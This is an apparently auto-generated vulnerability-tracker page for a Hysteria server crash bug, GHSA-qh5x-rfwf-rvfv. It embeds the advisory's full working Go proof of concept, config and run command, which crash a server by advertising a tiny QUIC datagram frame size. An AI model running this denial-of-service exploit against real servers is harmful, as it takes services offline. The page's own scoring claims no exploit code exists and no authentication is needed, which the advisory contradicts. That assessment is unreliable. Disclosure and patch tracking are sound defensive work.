GHSA-qh5x-rfwf-rvfv: Hysteria vulnerable to server crash when max_datagram_frame_size very small
Noroxi assessment
Priority: Monitor (action score 30/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
- Fixed version: github.com/apernet/hysteria (Go) 2.9.2.
Low priority for now. Upgrade to github.com/apernet/hysteria (Go) 2.9.2 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
### Summary An authenticated client can crash the Hysteria server by advertising a very small QUIC `max_datagram_frame_size` and then triggering a UDP response from the server. When the server tries to send the UDP response back via QUIC DATAGRAM, quic-go returns `DatagramTooLargeError`. The server then attempts to fragment the Hysteria UDP message, but the fragmentation code does not handle the case where the UDP message header itself is larger than the maximum datagram payload size. This results in a slice bounds panic and terminates the server process. ### Details The vulnerable path is the normal server-side UDP response path: ```text udpSessionEntry.receiveLoop -> sendMessageAutoFrag -> frag.FragUDPMessage ``` In `core/server/udp.go`, `receiveLoop` packages a UDP response into a `protocol.UDPMessage` and calls `sendMessageAutoFrag`. If `SendDatagram` fails with `quic.DatagramTooLargeError`, `sendMessageAutoFrag` calls: ```go fMsgs := frag.FragUDPMessage(msg, int(errTooLarge.MaxDatagramPayloadSize)) ``` However, `FragUDPMessage` in `core/internal/frag/frag.go` assumes that `maxSize` is greater than the UDP message header size: ```go maxPayloadSize := maxSize - m.HeaderSize() ``` If an attacker-controlled client advertises a small enough `max_datagram_frame_size`, `errTooLarge.MaxDatagramPayloadSize` can be smaller than `m.HeaderSize()`. In that case, `maxPayloadSize` becomes zero or negative, and the later slicing operation panics: ```go frag.Data = fullPayload[off : off+payloadSize] ``` ### PoC poc.yaml ```yaml listen: 127.0.0.1:8443 tls: cert: poc_server.crt key: poc_server.key auth: type: password password: udp-frag-panic-poc masquerade: type: string string: content: nope statusCode: 404 ``` poc.go ```go //go:build poc package main import ( "bytes" "context" "crypto/tls" "encoding/binary" "flag" "fmt" "io" "net" "net/http" "net/url" "time" "github.com/apernet/quic-go" "github.com/apernet/quic-go/http3" "github.com/apernet/quic-go/quicvarint" ) const ( authHost = "hysteria" authPath = "/auth" authOK = 233 ) func main() { server := flag.String("server", "127.0.0.1:8443", "Hysteria server address") auth := flag.String("auth", "", "Hysteria auth/password") target := flag.String("target", "127.0.0.1:19090", "UDP target reachable from the server") maxDatagram := flag.Int64("max-datagram", 20, "QUIC max_datagram_frame_size advertised by this client") insecure := flag.Bool("insecure", true, "skip TLS verification") echo := flag.Bool("echo", true, "start a local UDP echo server on --target") flag.Parse() if *auth == "" { panic("--auth is required") } if *echo { closeEcho := startUDPEcho(*target) defer closeEcho() } conn, cleanup := dialAndAuth(*server, *auth, *insecure, *maxDatagram) defer cleanup() msg := hysteriaUDPMessage(1, *target, []byte("X")) fmt.Printf("[*] authenticated, target=%s, headerSize=%d, datagramSize=%d, advertisedMaxDatagram=%d\n", *target, udpHeaderSize(*target), len(msg), *maxDatagram) if err := conn.SendDatagram(msg); err != nil { panic(fmt.Errorf("send trigger datagram: %w", err)) } fmt.Println("[+] trigger sent; vulnerable server should panic in frag.FragUDPMessage") ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second) defer cancel() if _, err := conn.ReceiveDatagram(ctx); err != nil { fmt.Printf("[*] receive after trigger: %v\n", err) } else { fmt.Println("[!] received a response; try a smaller --max-datagram") } } func dialAndAuth(server, auth string, insecure bool, maxDatagram int64) (*quic.Conn, func()) { serverAddr, err := net.ResolveUDPAddr("udp", server) if err != nil { panic(err) } udpConn, err := net.ListenUDP("udp", nil) if err != nil { panic(err) } transport := &quic.Transport{Conn: udpConn} var qconn *quic.Conn rt := &http3.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: insecure}, QUICConfig: &quic.Config{ EnableDatagrams: true, MaxDatagramFrameSize: maxDatagram, DisablePathManager: true, }, Dial: func(ctx context.Context, _ string, tlsCfg *tls.Config, cfg *quic.Config) (*quic.Conn, error) { qconn, err = transport.DialEarly(ctx, serverAddr, tlsCfg, cfg) return qconn, err }, } req := &http.Request{ Method: http.MethodPost, Host: authHost, URL: &url.URL{Scheme: "https", Host: authHost, Path: authPath}, Header: http.Header{}, Body: io.NopCloser(bytes.NewReader(nil)), } req.Header.Set("Hysteria-Auth", auth) req.Header.Set("Hysteria-CC-RX", "0") ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) defer cancel() resp, err := rt.RoundTrip(req.WithContext(ctx)) if err != nil { panic(err) } defer resp.Body.Close() if resp.StatusCode != authOK { panic(fmt.Errorf("auth failed: HTTP status %d", resp.StatusCode)) } if resp.Header.Get("Hysteria-UDP") == "false" { panic("server reports UDP disabled") } cleanup := func() { _ = rt.Close() _ = transport.Close() _ = udpConn.Close() if qconn != nil { _ = qconn.CloseWithError(0, "") } } return qconn, cleanup } func hysteriaUDPMessage(sessionID uint32, addr string, data []byte) []byte { buf := make([]byte, udpHeaderSize(addr)+len(data)) binary.BigEndian.PutUint32(buf[0:4], sessionID) // PacketID=0, FragID=0, FragCount=1. buf[7] = 1 i := len(quicvarint.Append(buf[:8], uint64(len(addr)))) i += copy(buf[i:], addr) copy(buf[i:], data) return buf } func udpHeaderSize(addr string) int { return 8 + quicvarint.Len(uint64(len(addr))) + len(addr) } func startUDPEcho(addr string) func() { pc, err := net.ListenPacket("udp", addr) if err != nil { panic(fmt.Errorf("start UDP echo on %s: %w", addr, err)) } fmt.Printf("[*] UDP echo listening on %s\n", pc.LocalAddr()) go func() { buf := make([]byte, 2048) for { n, raddr, err := pc.ReadFrom(buf) if err != nil { return } _, _ = pc.WriteTo(buf[:n], raddr) } }() return func() { _ = pc.Close() } } ``` poc.sh ```bash go run -tags poc ./poc_udp_frag_panic.go \ --server 127.0.0.1:8443 \ --auth udp-frag-panic-poc \ --insecure \ --target 127.0.0.1:19090 \ --max-datagram 20 ``` ### Impact Server crash
- Published
- Jun 26, 2026
- Updated
- Jul 7, 2026
- EPSS
- —
- CWE
- CWE-770
Report tools
Action score
30
Low priority for now.
- CVSS
- 30 / 40 · 7.5 / 10
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
Get told when this record changes
- Not in KEV: no record of exploitation in the wild
- No public exploit code on record
- A fix has been released
If any of these changes, we'll tell you in the daily email digest.
Is your version affected? Check itNoroxi analysis
What does it mean in your environment?
The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.
We use this product, ask for helpAffected systems
Is your version affected?
Pick the product and type the version you run. It's compared with this record's version ranges in your browser; the version isn't sent anywhere.
| Vendor | Product | CPE |
|---|---|---|
| Go | github.com/apernet/hysteria | pkg:golang/github.com/apernet/hysteria |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| Go | github.com/apernet/hysteria | from 0 | — |
| Go | github.com/apernet/hysteria | before 2.9.2 | 2.9.2 |
Same product
Go: all recordsOther highest-scoring records for the same primary product.
- GHSA-jqc5-2p7q-fqfcHysteria: http large header with sniff cause server DoS30Monitor
- GO-2026-5807Hysteria vulnerable to server crash when max_datagram_frame_size very small in github.com/apernet/hysteria0Monitor
- GO-2026-5813Hysteria: http large header with sniff cause server DoS in github.com/apernet/hysteria0Monitor
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| Go:github.com/apernet/hysteria | 2.9.2 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Variant candidates
Same product, same weakness class, within 18 months. If the patch missed the root cause, the sibling bug is here.
- GHSA-jqc5-2p7q-fqfc0 days apartHysteria: http large header with sniff cause server DoS30Monitor
Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- No account or password is required.
- No user action is required.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- none
- Integrity
- none
- Availability
- high · the service can be disrupted
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality impact
- None
- Integrity impact
- None
- Availability impact
- High
Weakness class (CWE)
CWE-770 · Allocation of Resources Without Limits or ThrottlingCVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
osv
Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Attack patterns (CAPEC)
- FloodingCAPEC-125likelihood: High · Medium
- Excessive AllocationCAPEC-130likelihood: Medium · Medium
- XML Ping of the DeathCAPEC-147likelihood: Low · Medium
- Exponential Data ExpansionCAPEC-197likelihood: High · Medium
- Serialized Data Parameter BlowupCAPEC-229likelihood: High · High
- Serialized Data with Nested PayloadsCAPEC-230likelihood: Medium · High
- Oversized Serialized Data PayloadsCAPEC-231likelihood: Medium · High
- HTTP DoSCAPEC-469Low
ATT&CK techniques
- Network Denial of Service:Direct Network FloodT1498.001
- Network Denial of Service:Reflection AmplificationT1498.002
- Endpoint Denial of ServiceT1499
- Endpoint Denial of Service: OS Exhaustion FloodT1499.001
- Endpoint Denial of Service:Service Exhaustion FloodT1499.002
- Endpoint Denial of Service:Application Exhaustion FloodT1499.003
Change log (1)
- Fix✗ → ✓
For records you follow, these changes also arrive as notifications. →
References
Show all references (1 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.